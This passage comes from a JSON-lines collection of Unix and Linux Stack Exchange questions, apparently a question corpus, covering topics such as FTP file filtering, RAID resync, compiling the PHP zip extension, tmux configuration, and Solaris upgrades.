"Does anyone know if there is a way reproducing the same behaviour many text editors provide for colour-highlighting the syntax operators such as brackets or curly brackets. It would be very useful for complex one-liners in the terminal. Example of the functionality I am talking about (from VIM). ![Example](http://i.stack.imgur.com/MOw4X.png)"} {"_id": "22953", "title": "How to refresh a window by terminal? Or how to simulate `F5`?", "text": "I would like a way to refresh a specific window by the terminal. Probably I will need a comand to find the id or the name of the window and a command to refresh it. It looks like `xrefresh` cannot do this, how could I do this?"} {"_id": "22957", "title": "Download specific files with FTP?", "text": "I am trying to use FTP to download several hundred files within a directory. Is there a way to only download specific files with FTP? Ideally, I would like to match specific files using a regular expression. Unfortunately, the directory is massive and it's too large to download the entire directory and then use find or grep locally to manipulate certain files. Is there a simply way to do what I am trying to do on Unix? If not, I plan to just write a script in perl or python. Thanks in advance for the help."} {"_id": "22956", "title": "Mount and automount and security problems", "text": "Are there any security problems related with (auto)mounting device?"} {"_id": "116268", "title": "check/change reserve policy on a virtual disk", "text": "I need to check if a Virtual Disk has this policy enable, if so I need to `reserve_policy=no_reserve` I need to create an DB2 Database Cluster I cannot find a Linux Command for that. I do know if this information is enough to explain my issue."} {"_id": "56979", "title": "I have installed linux on my system and I wanted to install git. Can anyone help me?", "text": "How to install git in linux and how to work with git?"} {"_id": "102494", "title": "How to differ between build-dependencies and usage-dependencies?", "text": "Some dependencies of packages are only required for compilation, while others are required for actual usage. As an example, I happen to know `net- misc/unison` does require `dev-lang/ocaml` only for compilation, while its `sys-libs/glibc` dependency is (also) for usage. But how can one actually figure out the difference?"} {"_id": "2743", "title": "FreeBSD in USB Flash Drive", "text": "I like to use live FreeBSD in my USB flash drive. How can i do it ? Please give clear way to do it."} {"_id": "90986", "title": "linux + xzcat command", "text": "Please advice from where ( which site ) I can download the xzcat Linux command? I am using linux version 5.4 I tried to download the xzcat from the site: http://www.filewatcher.com/m/xzcat.2-0.html but when I run the xzcat on my linux machine I get the following: /tmp/xzcat initrd.img | cpio -idm -bash: /tmp/xzcat: cannot execute binary file cpio: premature end of archive I also tried insted the xzcat cpio -id < initrd.img cpio: warning: skipped 72460 bytes of junk cpio: warning: archive header has reverse byte-order"} {"_id": "2745", "title": "How to run a script during Gnome log out", "text": "I would like to run a script to rsync my home directory to another machine whenever I log out of Gnome. There is a way to hook into the Gnome logout process?"} {"_id": "2744", "title": "Changing SMTP authentication in mutt based on From e-mail address", "text": "I use mutt as my e-mail reader, and nbSMTP as my SMTP client. I check e-mail from a half dozen accounts and sort them into miscellaneous folders in my maildir. Some of the folders are account-specific, but some contain e-mails from multiple accounts in one folder A number of the accounts are through Gmail, which has the unfortunate security feature of preventing users from sending from addresses that aren't theirs. Thus if I tell nbSTMP to authenticate as `user1@gmail.com` and send an e-mail with a `From: user2@gmail.com` header, Gmail will rewrite the header to `From: user1@gmail.com`. I've worked around this somewhat by adding folder hooks for the folders that are account-specific; when I switch to one of those folders the hook changes my sendmail command to pass nbSMTP the appropriate command-line arguments: folder-hook =work 'set from=\"work@example.com\"' folder-hook =work 'set sendmail=\"/usr/bin/nbsmtp -f work@example.com -U work -P password\"' However, this doesn't work for the folders that hold mail from multiple accounts, and it doesn't work if I try to e.g. send e-mail from `work@example.com` when I haven't switched to the `work` folder (since the folder hook hasn't run). **Is there a way to control how nbSMTP authenticates based on the`From` header in the outgoing e-mail?** I don't think nbSMTP has the flexibility to handle it itself, so I'm pretty sure it will have to be some kind of `mutt` configuration like the `folder-hook` method I'm currently using, but I haven't figured out how to do it. If necessary I can probably switch SMTP clients, if there's another that does provide the necessary functionality"} {"_id": "90983", "title": "Periodic filesystem replication wih snapshot", "text": "I'm looking for a non-realtime replication solution that supports periodic snapshot. Here's my current situation: * I have 2 email servers running **Ubuntu 12.04 LTS** * The mail server program I use is Axigen v8.1.1, serving 2000+ mailboxes, with a rate of approx. 2000 emails per hour during workhours * The configuration is **Master/Slave** , using heartbeat/pacemaker * Axigen uses its own proprietary database to store all settings and messages * Most users access the email server using POP3, but some use IMAP4 What I want to implement: * Every _N_ minutes, there should be a snapshot done on the master to be shipped to Slave * Slave should be able to efficiently store at least _M_ latest snapshots, plus 2 daily snapshots, just in case we need to roll back * (We can live with N minutes of lost emails; all emails are stored in a MailArchiva storage system) **My original plan** was to implement Axigen's datastore on a ZFS-on-Linux (ZoL) filesystem, with regular snapshots that would be shipped (incrementally) to Slave. However, I was bitten with ZoL's instability during heavy I/O, where I had experienced several incidents of _CPU Soft Lockup_. The ZoL discussion group suggested I reduce the size of the ARC cache, but of course that would impact performance, so I instead revert to an ext4-backed storage on Master. (Might still implement ZFS on Slave, though). **I'm considering several options:** 1. Reconfigure the Master so that the datastore is on an LVM-backed storage, and regularly create an LVM snapshot to sync to the Slave using `csync2` or `rsnapshot` (and delete the LVM snapshot after a successful sync). On the Slave side, after every successful sync, do a ZFS snapshot to maintain the required number of snapshots & daily snapshots. 2. Implement DRBD in a Master/Slave configuration, with a hard disk-backed storage on Master, but a ZVOL-backed storage on Slave. 3. Implement a Clustered File System that supports snapshots... but which one? Your thoughts and inputs are very much appreciated. * * * _Edit:_ due to my department's budget situation, I can't use a commercial solution. Maybe next year, but unfortunately my need is current. * * * _Edit 2:_ the ZoL instability might not be the instability of ZoL itself per se, but I suspect more because of the unbelievable memory churn of the email server (due to some reasons, I have to implement Perdition in front of the Axigen server, and Perdition creates one process per connection, so the server's memory might be severely fragmented and blocks ZoL from claiming some SLABs to grow its ARC Cache)"} {"_id": "71922", "title": "Can you mount UFS partitions made in Solaris (Sparc) on Solaris (x86)?", "text": "I am reading about Endianness and it seems both systems save their data differently. Sparc uses big endian and x86 uses small endian, meaning the byte order is different. That makes me wonder... is it possible to mount UFS partitions from Sparc on x86-systems?"} {"_id": "37304", "title": "Using awk to process ls output with spaces in filenames/paths", "text": "All, I have a script in which I use find command to filter out all png files in a given folder and list them along with their size. I want the output in the following format: someFile.png => 1.2K I'm using awk to to fetch $5(file size in human friendly format) and $9(path). Here is what I'm currently using: find \"$somePath\" -iname \"*.png\" -print0 | xargs -0 ls -lh | awk '{print $9,\"=>\",$5}' Sometimes the file names or the paths have spaces and this trips the script. Here is an example output: /Users/test/Desktop/Test/image1 => 1.2K /Users/test/Desktop/Test/image1.png => 1.4K The first entry in output is a file called \"image1 test.png\". I read somewhere that one should not parse the ls output. What's is the best way to tackle this?"} {"_id": "71921", "title": "(Ab) use Apache as a proxy", "text": "I have a publicly available Apache server. Is it possible to redirect all incoming requests (e.g. http:// publicname/test/) so that all accesses to /test/ are redirected to another server (in the private network, and not exposed to the internet, e.g. http:// 192.168 .1 .4/test/) without using antything besides Apache. Internet --- httpp://xx.xx.xx/> Public Apache <- 192. 168. 1 .3 --- 192.168.1 .4-> Private Apache"} {"_id": "71924", "title": "How many reboots are required for updating Solaris 10 update 8 to update 10?", "text": "The Oracle Live Upgrade document* states that these patches need to be done before doing the LiveUpgrade: *Document 1004881.1, \"Solaris 10 5/08 (Update 5) or later:\" 119254-LR Install and Patch Utilities Patch 121430-LR Live Upgrade patch 121428-LR SUNWluzone required patches 138130-01 vold patch 146578-06 cpio patch (The most recent replacement for this patch is 148027-03) Dependencies for the last patch: Patch-ID# 142909-17 Synopsis: SunOS 5.10: kernel patch (needs reboot) Patch-ID# 137137-09 Synopsis: SunOS 5.10: kernel patch (needs reboot) Post-update packages: 146670-02 (SunOS 5.10: libproject patch, needs reboot) 147774-01 automountd patch 7 patches need to be done before Live Upgrading the server with lucreate, luupgrade and luuactivate. I have been told that a Live Upgrade from update 8 to update 10 can be done with 5 minutes downtime on a ZFS server. With the reboot, it might take up to one hour and a half as the luupgrade process is time-consuming. What is the truth? Should I do the Live Upgrade without the reboot for the pre-upgrade patches (142909-17, 137137-09) so I can do the lucreate/luupgrade/luactivate while the server is running and have 5 minutes downtime or do the reboot after the patches and accept that downtime might take up to 2 hours."} {"_id": "108635", "title": "Why I can't escape spaces on a bash script?", "text": "I'm trying to escape the space char for a path in Bash, but neither using a backslash or quotes works. .sh script: ROOT=\"/home/hogar/Documents/files/\" FILE=${ROOT}\"bdd.encrypted\" DESTINATION=\"/home/hogar/Ubuntu\\ One/folder\" mv ${FILE} ${DESTINATION} After execute the script (`./file`) this is the result: > mv: target \u2018One/folder\u2019 is not a directory Why does the `mv` command split the string and who do I stop this?"} {"_id": "104579", "title": "Catch \"command not found\" from shell script", "text": "I have a shell script echo \"Type your command\" read command echo \"You typed $command\" $command so it's simple it runs a command.My question is if the input is wrong suppose `lw` the terminal says `command not found` so how can I retrieve this information to my shell script and print to terminal `Try again wrong command`. Do I have to redirect the output of the command to a certain file and read or is there any kind of trap signal which is passed to my script.Which is your advice on how to do that it in the most efficient way."} {"_id": "71929", "title": "How to test whether Linux is running on a ThinkPad?", "text": "### I need to programmatically detect if Linux is running on a ThinkPad. A shell script would be _ideal_ but I can programmatically generate any binary by downloading some source and compiling it on the machine if only a custom program will be able to _reliably_ do that. Focus is: **reliability/accuracy**. If in doubt, I prefer _not_ to run the script. I have a hunch this may be cleverly done using text parsing of things like dmesg or `lshw`, but which method is the most reliable? **Restriction** : run as a normal user, as part of a login script, no possibility of temporarily elevating privileges just to detect the machine model. **Permission** : take as long as needed, speed is not a factor. **Environment** : Ubuntu, but Linux generality is nice to have. Availability of developer-level build tools (GCC can be assumed to \"just work\"). The login script is run by bash so a code snippet in that syntax would be more directly usable."} {"_id": "144972", "title": "Where is the bugtracker for `ifconfig` located?", "text": "Is there an official place to file bugs for the package in which `ifconfig` can be found? Do most major distributions have their own implementation of the library, or does the library come from one central location?"} {"_id": "3525", "title": "Is there a simple flag to prevent installing X and anything that depends on it via ports?", "text": "I'm running FreeBSD in a small VMWare image and I want to keep it headless. Is there a setting someplace that will guarantee I never pull in X as a dependency, or will I have to rely solely on eternal vigilance? Thanks. See also: the same basic question on SuperUser"} {"_id": "24140", "title": "Return only the portion of a line after a matching pattern", "text": "So pulling open a file with cat and then using grep to get matching lines only gets me so far when I am working with the particular log set that I am dealing with. It need a way to match lines to a pattern, but only to return the portion of the line after the match. The portion before and after the match will consistently vary. I have played with using sed or awk, but have not been able to figure out how to filter the line to either delete the part before the match, or just return the part after the match, either will work. This is an example of a line that I need to filter: 2011-11-07T05:37:43-08:00 <0.4> isi-udb5-ash4-1(id1) /boot/kernel.amd64/kernel: [gmp_info.c:1758](pid 40370=\"kt: gmp-drive-updat\")(tid=100872) new group: <15,1773>: { 1:0-25,27-34,37-38, 2:0-33,35-36, 3:0-35, 4:0-9,11-14,16-32,34-38, 5:0-35, 6:0-15,17-36, 7:0-16,18-36, 8:0-14,16-32,34-36, 9:0-10,12-36, 10-11:0-35, 12:0-5,7-30,32-35, 13-19:0-35, 20:0,2-35, down: 8:15, soft_failed: 1:27, 8:15, stalled: 12:6,31, 20:1 } The portion I need is everything after \"stalled\". The background behind this is that I can find out how often something stalls: cat messages | grep stalled | wc -l What I need to do is find out how many times a certain node has stalled (indicated by the portion before each colon after \"stalled\". If I just grep for that (ie 20:) it may return lines that have soft fails, but no stalls, which doesn't help me. I need to filter only the stalled portion so I can then grep for a specific node out of those that have stalled. For all intents and purposes, this is a freebsd system with standard gnu core utils, but I cannot install anything extra to assist."} {"_id": "114821", "title": "Depsolving for php-pecl-zip", "text": "I'm having trouble getting rid of my depsolving errors, and I've been left to figure this one out on my own. It all started when I wanted to upgrade from PHP 5.2 to PHP 5.3 (heaven forbid), and I was told that we have all kinds of dependency mess because we have multiple PHP packages, and no one else is using it, so if I wanted it, I'd have to do it myself. I managed to figure out how to get PHP 5.3 installed, but only by removing all previous versions of PHP and doing a fresh install. Now \"my\" (someone departed's) code is relying on PHPExcel, which relies on php-pecl-zip, which I apparently don't have. Here's some of what I've tried: **Install with PECL** # pecl install zip No releases available for package \"pecl.php.net/zip\" install failed Pretty sure this is because our machines have very strict rules about who they can talk to. So I can't access the package via PECL. **Install with YUM** # yum install php-pecl-zip Dependencies Resolved ================================================================================ Package Arch Version Repository Size ================================================================================ Installing: php-pecl-zip x86_64 1.8.10-2.el5 epel 47 k Installing for dependencies: php-common x86_64 5.1.6-24.el5_4.5 updates 152 k Why does it want a PHP version 5.1 when I have 5.3? Of course, if I let it go, it barfs: Transaction Check Error: file /etc/php.ini from install of php-common-5.1.6-24.el5_4.5.x86_64 conflicts with file from package php-5.3.24-7.x86_64 And just to verify: # yum list php Installed Packages php.x86_64 5.3.24-7 installed Can we get around it? A few attempts follow # yum install php-pecl-zip --skip-broken Transaction Check Error: file /etc/php.ini from install of php-common-5.1.6-24.el5_4.5.x86_64 conflicts with file from package php-5.3.24-7.x86_64 Skip broken does nothing # yum install php-pecl-zip --skip-broken --exclude=php-common php-pecl-zip-1.8.10-2.el5.x86_64 from epel has depsolving problems --> Missing Dependency: php-api = 20041225 is needed by package php-pecl-zip-1.8.10-2.el5.x86_64 (epel) Packages skipped because of dependency problems: php-pecl-zip-1.8.10-2.el5.x86_64 from epel Excluding the package doesn't help # yum install php-pecl-zip --skip-broken --exclude=php-common --exclude=php-api php-pecl-zip-1.8.10-2.el5.x86_64 from epel has depsolving problems --> Missing Dependency: php-api = 20041225 is needed by package php-pecl-zip-1.8.10-2.el5.x86_64 (epel) Packages skipped because of dependency problems: php-pecl-zip-1.8.10-2.el5.x86_64 from epel Can we install an underlying dependency? # yum install php-api Package php-common is obsoleted by lift-php, trying to install lift-php-5.3.24-10.x86_64 instead Resolving Dependencies --> Running transaction check ---> Package lift-php.x86_64 0:5.3.24-10 set to be updated --> Processing Conflict: lift-php conflicts php --> Finished Dependency Resolution lift-php-5.3.24-10.x86_64 from COMPANY-codex-released has depsolving problems --> lift-php conflicts with php Error: lift-php conflicts with php This is where the dependency loop starts. You'll notice we have COMPANY-codex- released repos that are in play. # yum install php-api --skip-broken Package php-common is obsoleted by lift-php, trying to install lift-php-5.3.24-10.x86_64 instead Resolving Dependencies --> Running transaction check ---> Package lift-php.x86_64 0:5.3.24-10 set to be updated --> Processing Conflict: lift-php conflicts php --> Finished Dependency Resolution lift-php-5.3.24-10.x86_64 from COMPANY-codex-released has depsolving problems --> lift-php conflicts with php Packages skipped because of dependency problems: lift-php-5.3.24-10.x86_64 from COMPANY-codex-released Exclude lift-php? # yum install php-api --exclude=lift-php ================================================================================ Package Arch Version Repository Size ================================================================================ Installing: php-common x86_64 5.1.6-24.el5_4.5 updates 152 k No. So I think YUM is in a dependency loop. I also did some silly stuff installing a new EPEL repo, but then yum couldn't resolve any mirrors, so I had to uninstall it. I'm not sure those were symmetric actions, either. The first time I did this I also had to do `yum install autoconf` **Install downloaded file with PEAR** So I went to http://pecl.php.net/package/zip and got a download, scp'd it up to my machine. # pear install -O /home/produser/zip-1.12.4.tgz PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php/20090626/php_zip.dll' - /usr/lib/php/20090626/php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0 96 source files, building running: phpize Configuring for: PHP Api Version: 20090626 Zend Module Api No: 20090626 Zend Extension Api No: 220090626 building in /var/tmp/pear-build-rootZ3jpba/zip-1.12.4 running: /var/tmp/zip/configure checking for egrep... grep -E checking for a sed that does not truncate output... /bin/sed checking for cc... cc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether cc accepts -g... yes checking for cc option to accept ANSI C... none needed checking how to run the C preprocessor... cc -E checking for icc... no checking for suncc... no checking whether cc understands -c and -o together... yes checking for system library directory... lib checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking build system type... x86_64-unknown-linux-gnu checking host system type... x86_64-unknown-linux-gnu checking target system type... x86_64-unknown-linux-gnu checking for PHP prefix... /usr checking for PHP includes... -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib checking for PHP extension directory... /usr/lib/php/20090626 checking for PHP installed headers prefix... /usr/include/php checking if debug is enabled... no checking if zts is enabled... no checking for re2c... no configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers. checking for gawk... gawk checking for zip archive read/writesupport... yes, shared checking for the location of libz... no checking pcre install prefix... no checking libzip... no checking for the location of zlib... configure: error: zip support requires ZLIB. Use --with-zlib-dir=

to specify prefix where ZLIB include and library are located ERROR: `/var/tmp/zip/configure' failed So those first couple of warnings are actually new. Never seen them before just now. Maybe that's a new lead. (EDIT: I think this startup error is because I went into `/etc/php.ini` and uncommented `extension=php_zip.dll`. When I comment that line back out, it goes away.) But zlib is there: # yum install zlib Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Excluding Packages in global exclude list Finished Excluding Packages from CentOS-5 - Plus Finished Setting up Install Process Package zlib-1.2.3-3.x86_64 already installed and latest version Nothing to do **EDIT:** # rpm -ql zlib /usr/lib64/libz.so.1 /usr/lib64/libz.so.1.2.3 /usr/share/doc/zlib-1.2.3 /usr/share/doc/zlib-1.2.3/README # tar xzf zip-1.12.4.tgz # cd zip-1.12.4 # phpize # ./configure --with-zlib-dir=/usr/lib64/libz.so.1 configure: error: Can not find zlib headers under \"/usr/lib64/libz.so.1\" # ./configure --with-zlib-dir=/usr/lib64/libz.so.1.2.3 configure: error: Can not find zlib headers under \"/usr/lib64/libz.so.1.2.3\" # ./configure --with-zlib-dir=/usr/share/doc/zlib-1.2.3 #not that i expect this one to work configure: error: Can not find zlib headers under \"/usr/share/doc/zlib-1.2.3\" # ./configure --with-zlib-dir=/usr/share/doc/zlib-1.2.3/README #not that i expect this one to work configure: error: Can not find zlib headers under \"/usr/share/doc/zlib-1.2.3/README\" So even though the package manager says that's the location of zlib, and I've started compiling the thing by hand, it still doesn't work. Reinstall zlib? Seems to execute fine # yum reinstall zlib Downloading Packages: zlib-1.2.3-3.x86_64.rpm | 51 kB 00:00 Running rpm_check_debug Running Transaction Test Finished Transaction Test Transaction Test Succeeded Running Transaction Erasing : zlib 1/2 Installing : zlib 1/2 Removed: zlib.x86_64 0:1.2.3-3 Installed: zlib.x86_64 0:1.2.3-3 Complete! **EDIT** Thanks to these guys: http://ubuntuforums.org/showthread.php?t=692704 I realized I needed to install zlib-devel instead. And just for good measure, to remove one of my warnings, I also did re2c. # yum install zlib-devel Success # pear install zip-1.12.4.tgz make: *** [php_zip.lo] Error 1 ERROR: `make' failed # yum install re2c Success # pear install zip-1.12.4.tgz ... creating libtool appending configuration tag \"CXX\" to libtool configure: creating ./config.status config.status: creating config.h running: make /bin/sh /var/tmp/pear-build-root4xHrWH/zip-1.12.4/libtool --mode=compile cc -I. -I/var/tmp/zip -DPHP_ATOM_INC -I/var/tmp/pear-build-root4xHrWH/zip-1.12.4/include -I/var/tmp/pear-build-root4xHrWH/zip-1.12.4/main -I/var/tmp/zip -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/var/tmp/zip/lib -DHAVE_CONFIG_H -g -O2 -c /var/tmp/zip/php_zip.c -o php_zip.lo mkdir .libs cc -I. -I/var/tmp/zip -DPHP_ATOM_INC -I/var/tmp/pear-build-root4xHrWH/zip-1.12.4/include -I/var/tmp/pear-build-root4xHrWH/zip-1.12.4/main -I/var/tmp/zip -I/usr/include/php -I/usr/include/php/main -I/usr/include/php/TSRM -I/usr/include/php/Zend -I/usr/include/php/ext -I/usr/include/php/ext/date/lib -I/var/tmp/zip/lib -DHAVE_CONFIG_H -g -O2 -c /var/tmp/zip/php_zip.c -fPIC -DPIC -o .libs/php_zip.o In file included from /var/tmp/zip/php_zip.c:30: /usr/include/php/ext/pcre/php_pcre.h:29:18: error: pcre.h: No such file or directory In file included from /var/tmp/zip/php_zip.c:30: /usr/include/php/ext/pcre/php_pcre.h:37: error: expected \u2018=\u2019, \u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \u2018*\u2019 token /usr/include/php/ext/pcre/php_pcre.h:38: error: expected \u2018=\u2019, \u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \u2018*\u2019 token /usr/include/php/ext/pcre/php_pcre.h:44: error: expected specifier-qualifier-list before \u2018pcre\u2019 /var/tmp/zip/php_zip.c: In function \u2018php_zip_pcre\u2019: /var/tmp/zip/php_zip.c:672: error: \u2018pcre\u2019 undeclared (first use in this function) /var/tmp/zip/php_zip.c:672: error: (Each undeclared identifier is reported only once /var/tmp/zip/php_zip.c:672: error: for each function it appears in.) /var/tmp/zip/php_zip.c:672: error: \u2018re\u2019 undeclared (first use in this function) /var/tmp/zip/php_zip.c:673: error: \u2018pcre_extra\u2019 undeclared (first use in this function) make: *** [php_zip.lo] Error 1 ERROR: `make' failed **EDIT** Now these guys (http://www.linuxquestions.org/questions/linux- software-2/install-zip-extension-using-pear-840755/) say # yum install pcre-devel which doesn't quite work for me, but # yum install COMPANY-pcre-devel works fine # pear install zip-1.12.4.tgz same make error. **EDIT** http://www.linuxquestions.org/questions/red-hat-31/rpm-error-cannot-create- sourcedir-165733/ http://rpm.pbone.net/index.php3/stat/26/dist/55/size/571124/name/pcre-6.6-2.el5_1.7.src.rpm # yum install rpm-build # rpmbuild --rebuild pcre-6.6-2.el5_1.7.src.rpm # manually downloaded this exact version of the rpm TONS of output, but the tests all passed, so it seems to have worked... # cd /usr/src/redhat/RPMS/x86_64 # rpm -ivh pcre-devel-6.6-2.7.x86_64.rpm # yum list installed | grep pcre pcre.x86_64 6.6-2.7 installed pcre-devel.x86_64 6.6-2.7 installed BOOM! Another dependency down. # cd dir/to/manually/uploaded/zip.tgz # pear install zip-1.12.4.tgz Build process completed successfully Installing '/usr/lib/php/20090626/zip.so' install ok: channel://pecl.php.net/zip-1.12.4 configuration option \"php_ini\" is not set to php.ini location You should add \"extension=zip.so\" to php.ini Yes sir. # vi /etc/php.ini add extension=zip.so"} {"_id": "78528", "title": "Difference between command line argument and giving an input command", "text": "What is the difference between `@ARGV` and asking the user for input? $num = $ARGV[0]; and $_ = ; Either way a user has to put an input isn't it? How are they different?"} {"_id": "108184", "title": "Broadcom or Modem wireless connection problem", "text": "I have a BMC42142 wireless adaptor lspci -vnn | grep 14e4: 02:00.0 Network controller [0280]: Broadcom Corporation BCM43142 802.11b/g/n [14e4:4365] (rev 01) and I can't connect to the wireless lan. I'm using `wl` drivers sudo lspci -vnn -d 14e4: 02:00.0 Network controller [0280]: Broadcom Corporation BCM43142 802.11b/g/n [14e4:4365] (rev 01) Subsystem: Lenovo Device [17aa:0611] Flags: bus master, fast devsel, latency 0, IRQ 17 Memory at d0400000 (64-bit, non-prefetchable) [size=32K] Capabilities: [40] Power Management version 3 Capabilities: [58] Vendor Specific Information: Len=78 Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+ Capabilities: [d0] Express Endpoint, MSI 00 Capabilities: [100] Advanced Error Reporting Capabilities: [13c] Virtual Channel Capabilities: [160] Device Serial Number 00-00-a2-ff-ff-f5-00-90 Capabilities: [16c] Power Budgeting Kernel driver in use: wl My wireless modem is TP-Link TD864W and I share this information 'cause I cannot say for sure whether the problem is caused by my adapter or by the modem. Here are the symptoms: 1. I cannot connect to my wireless modem from my laptop. It stays in the \"connecting\" status. 2. But my android tablet can connect to it. 3. I can connect to my neighbor's modem and even a wireless printer two floors down. What I've tried: 1. I tried to connect by disabling DHCP and choosing a static IP. This time it says \"connected\" but I could not browse any sites."} {"_id": "108185", "title": "Installing OpenMediaVault without keyboard and monitor", "text": "So I got the parts to my server delivered and assembled it. Now I have the problem that I don't have access to a monitor or keyboard and would like to install OMV to my server. I plan on running the OS from an USB stick (I know this is not recommended, but I got a SLC based stick, so it should be fine). I have a MacBook that's running OS X, could I setup the USB here and move it to the server and then just boot it there? Otherwise I guess I could use some sort of preseed file for headless installation, but I'm not well-versed in unix enviroments so I'm not sure how I should set it up. From what I gather I need to get the install iso on an USB and use that to install to another USB, is this possible to set up with a preseed file? I think OMV locks the OS drive, so ideally the stick should be split (1GB OS \u2013 7GB Storage) so that the one half can be used for storing plugins and other stuff. On a sidenote, found this while looking for help/guides: https://gist.github.com/ngnpope/3806732 Can I benefit from this in some way?"} {"_id": "78523", "title": "Usefulness of @ARGV in Perl", "text": "What is the difference between using just normal arrays and the special array (command line argument)? Normal array: `@num(1,2,3,4)`, and you can use `$num[0]`, etc Special array: you have to use `@ARGV`, and becomes `$ARGV[0]`, etc. Is it similar to `while (<>)`? What is the whole purpose of using `@ARGV` instead of a normal array?"} {"_id": "108182", "title": "tmux.conf: Prefix depends on whether session is remote", "text": "I'm trying to run tmux sessions inside and outside of a remote ssh session, so I want to use c-b prefix for the outer (local) session and c-a prefix inner (remote) session. My question is how can it be done with a single tmux.conf. It's easy to check with bash if the session is remote using something like `[ -n \"$SSH_CLIENT\" ]`, but I don't know how to reliably incorporate this into tmux.conf, given that `if` appears to be asynchronous and subject to race conditions."} {"_id": "108183", "title": "Unable to run a device in GenyMotion emulator", "text": "I have installed GenyMotion and its dependencies(Virtual Box, ...) from AUR. Now I'm trying to run a device in GenyMotion emulator but gets me following error: > Unable to load VirtualBox engine. Make sure that you have installed it > correctly before starting Genymotion. For more information refer to: > https://cloud.genymotion.com/page/faq/#vbox ![enter image description here](http://i.stack.imgur.com/YyWmX.png) **P.S :** You can see the log content in `~/.Genymobile/genymotion-player.log` : Jan 7 13:19:58 [Genymotion Player] [Error] VBoxManage (\"hostonlyif\", \"create\") returns 1 Jan 7 13:19:58 [Genymotion Player] [Error] Output command: \"0%... Progress state: NS_ERROR_FAILURE VBoxManage: error: Failed to create the host-only adapter VBoxManage: error: VBoxNetAdpCtl: Error while adding new interface: failed to open /dev/vboxnetctl: No such file or directory VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component HostNetworkInterface, interface IHostNetworkInterface VBoxManage: error: Context: \"int handleCreate(HandlerArg*, int, int*)\" at line 66 of file VBoxManageHostonly.cpp\""} {"_id": "3048", "title": "Drive was unable to assemble into the array", "text": "I ran mdadm -A /dev/md0 /dev/sda1 /dev/sdb1 Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg` told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda` (hardware wise) for the time being, since it was preventing me from booting. How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable? The main question is how do I try to re-sync the drive? cat /proc/mdstat Personalities : [raid10] md3 : active raid10 sda4[1] 955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U] md2 : active raid10 sda3[1] 10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U] md1 : active raid10 sda2[1] 10484736 blocks 512K chunks 2 far-copies [2/1] [_U] md0 : active raid10 sda1[1] 101376 blocks 512K chunks 2 far-copies [2/1] [_U] unused devices: _update_ I ran `badblocks` on the whole other drive, and a long `smartctl` test, it found no problems. a request output of `mdadm -D /dev/md0` _(I have md0-3 if others are needed)_ /dev/md0: Version : 0.90 Creation Time : Mon May 31 20:24:14 2010 Raid Level : raid10 Array Size : 101376 (99.02 MiB 103.81 MB) Used Dev Size : 101376 (99.02 MiB 103.81 MB) Raid Devices : 2 Total Devices : 1 Preferred Minor : 0 Persistence : Superblock is persistent Update Time : Mon Oct 25 07:58:25 2010 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 0 Spare Devices : 0 Layout : far=2 Chunk Size : 512K UUID : 30ffe1d2:f5759995:820bb796:b5530bd2 (local to host slave-iv) Events : 0.212 Number Major Minor RaidDevice State 0 0 0 0 removed 1 8 1 1 active sync /dev/sda1 Since I've found no actual issues with the drive, but obviously something went wrong, I'm wondering what I should do next? _as of today a full backup of important data is in place_ _update 2_ Whenever I try to add what was `sda` back in (at least without wiping it) it screw's up my boot process with a kernel magic number error. I'm guessing because the kernel version got out of sync. currently this drive is in an external enclosure as `sdd`. Should I re-add (re-sync) this drive while it's connected via usb? will that 'cause problems? df Filesystem Size Used Avail Use% Mounted on udev 10M 284K 9.8M 3% /dev /dev/md1 9.9G 7.0G 2.4G 75% / shm 3.0G 1.5M 3.0G 1% /dev/shm /dev/md0 96M 15M 77M 16% /boot /dev/md2 9.9G 6.5G 3.0G 69% /var /dev/md3 898G 451G 402G 53% /home none 1.0G 45M 980M 5% /tmp /dev/sdb1 992M 36M 956M 4% /media/D4A4-B7C1 each md drive has an sda/sdb corresponding. it was the sda drive (or 0 drive) in the array that I had to pull."} {"_id": "91166", "title": "libpcrecpp.so.0 error in 64bit", "text": "I'm trying to execute a file and it throws this error error while loading shared libraries: libpcrecpp.so.0: cannot open shared object file: No such file or directory I browse Synaptic Packge Manager and found this `libpcrecpp0`. I installed it and run the executable again but the same error shows. I also installed ia32libs thinking it needs 32 libs. System: Linux Mint 15 Olivia 64bit"} {"_id": "91167", "title": "Setup linux cluster like Windows with CentOS or Ubuntu?", "text": "Along the lines of this MSDN article, how would you setup a pair of Ubuntu or CentOS (or RHEL) servers in a cluster so they appear to hosted applications as a single server, but will continue to work even if a node in the cluster becomes inoperable (or needs maintenance, etc)? I presume this is possible."} {"_id": "91161", "title": "Cancel completion, but only completion, in zsh", "text": "When a completion function takes a long time, I can interrupt it by pressing `Ctrl`+`C` (terminal interrupt key, sends SIGINT) or `Ctrl`+`G` (bound to `send-break`). I am then left with the uncompleted word. However, if I happen to hit `Ctrl`+`C` or `Ctrl`+`G` just as the completion function finishes, my key press may cancel the command line and give me a fresh prompt instead of cancelling the completion. How can I set up zsh so that a certain key will cancel an ongoing completion but do nothing if no completion function is active?"} {"_id": "62630", "title": "Using 'find' for recursive search and delete", "text": "My queston is kind off a basic * nautilus at time cant do well at 